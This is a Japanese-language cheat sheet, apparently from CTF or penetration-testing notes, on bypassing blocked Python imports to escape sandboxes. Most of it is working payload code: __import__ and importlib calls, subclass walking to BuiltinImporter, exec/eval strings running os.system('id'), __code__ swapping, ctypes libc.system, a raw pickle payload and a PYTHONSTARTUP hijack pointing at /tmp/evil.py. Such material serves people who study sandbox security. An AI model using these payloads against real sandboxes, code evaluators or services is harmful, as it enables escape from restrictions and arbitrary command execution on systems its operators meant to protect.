Import Bypass
Overview
import 文がブロックされている場合でも、様々な代替手段でモジュールをインポートできる。
__import__ 関数
最も基本的な代替手段。
# 通常の import os と同等__import__('os')
# from os import system と同等__import__('os').system
# ネストしたモジュール__import__('os.path').path # os.path__import__('os.path', fromlist=['']) # os.path を直接取得importlib モジュール
import importlibimportlib.import_module('os')
# __import__ なしで importlib にアクセス__builtins__.__dict__['__import__']('importlib').import_module('os')sys.modules からの取得
既にロード済みのモジュールは sys.modules から直接取得可能。
import syssys.modules['os']
# よくあるプリロード済みモジュールsys.modules['builtins']sys.modules['sys']sys.modules['_frozen_importlib']サブクラスからのインポート
# BuiltinImporter を使用[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'BuiltinImporter'][0].load_module('os')
# FrozenImporter[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'FrozenImporter'][0].load_module('os')__loader__ からのインポート
__loader__.load_module('os')
# __spec__ 経由__spec__.loader.load_module('os')exec / eval 内でのインポート
exec('import os; os.system("id")')
eval('__import__("os").system("id")')
# compile との組み合わせexec(compile('import os', '<string>', 'exec'))__code__ の置き換え
def f(): return 1
# os.system を呼び出すコードオブジェクトを作成して置換g = lambda: __import__('os').system('id')f.__code__ = g.__code__f()zipimport
# zip ファイルからモジュールをインポートimport zipimportimporter = zipimport.zipimporter('malicious.zip')importer.load_module('evil')ctypes による dlopen
import ctypeslibc = ctypes.CDLL(None)libc.system(b'id')pickle でのインポート
import pickle# __reduce__ で任意のモジュールをロードpickle.loads(b"cos\nsystem\n(S'id'\ntR.")環境変数経由
# PYTHONSTARTUP で指定したファイルが実行されるimport osos.environ['PYTHONSTARTUP'] = '/tmp/evil.py'特殊なインポートパス
# 相対インポートfrom . import modulefrom .. import module
# パッケージ内from package import submoduleTips
sys.modulesは既存モジュールのキャッシュ、新規インポートには使えないimportlib.import_moduleは__import__より高レベルなAPI__loader__はPython 3.4以降で利用可能- C拡張モジュールは
ctypes.CDLLで直接ロード可能